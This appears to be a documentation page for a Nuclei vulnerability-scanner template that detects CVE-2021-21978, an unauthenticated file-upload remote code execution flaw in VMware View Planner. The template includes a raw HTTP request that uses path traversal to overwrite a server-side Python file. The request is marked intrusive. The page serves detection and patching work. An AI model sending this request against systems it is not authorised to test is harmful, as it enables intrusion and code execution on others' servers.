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VMware View Planner <4.6 SP1- Remote Code Execution

ID: CVE-2021-21978

Severity: critical

Author: dwisiswant0

Tags: cve2021,cve,vmware,rce,packetstorm,fileupload,intrusive

Description

Section titled “Description”

VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application.An unauthorized attacker with network access to View Planner Harness could upload and execute a specially craftedfile leading to remote code execution within the logupload container.

YAML Source

Section titled “YAML Source”
id: CVE-2021-21978


info:
  name: VMware View Planner <4.6 SP1- Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application.
    An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted
    file leading to remote code execution within the logupload container.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to VMware View Planner version 4.6 SP1 or later to mitigate this vulnerability.
  reference:
    - https://twitter.com/osama_hroot/status/1367258907601698816
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21978
    - https://www.vmware.com/security/advisories/VMSA-2021-0003.html
    - http://packetstormsecurity.com/files/161879/VMware-View-Planner-4.6-Remote-Code-Execution.html
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-21978
    cwe-id: CWE-20
    epss-score: 0.97475
    epss-percentile: 0.99967
    cpe: cpe:2.3:a:vmware:view_planner:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: view_planner
  tags: cve2021,cve,vmware,rce,packetstorm,fileupload,intrusive


http:
  - raw:
      - |
        POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
        Accept: text/html
        Referer: {{BaseURL}}
        Connection: close


        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
        Content-Disposition: form-data; name="logfile"; filename=""
        Content-Type: text/plain


        POC_TEST


        ------WebKitFormBoundarySHHbUsfCoxlX1bpS


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "len(body) == 28"


      - type: word
        part: body
        words:
          - "File uploaded successfully."


      - type: status
        status:
          - 200
# digest: 490a0046304402201bc329123f0c512104b7e01f985b54281d5d49cf66e4689293018bb6cbc2f81c0220745fe525c65964954b65236b928b5c4cd3c29d2456d865d39782589bee350afc:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-21978.yaml"

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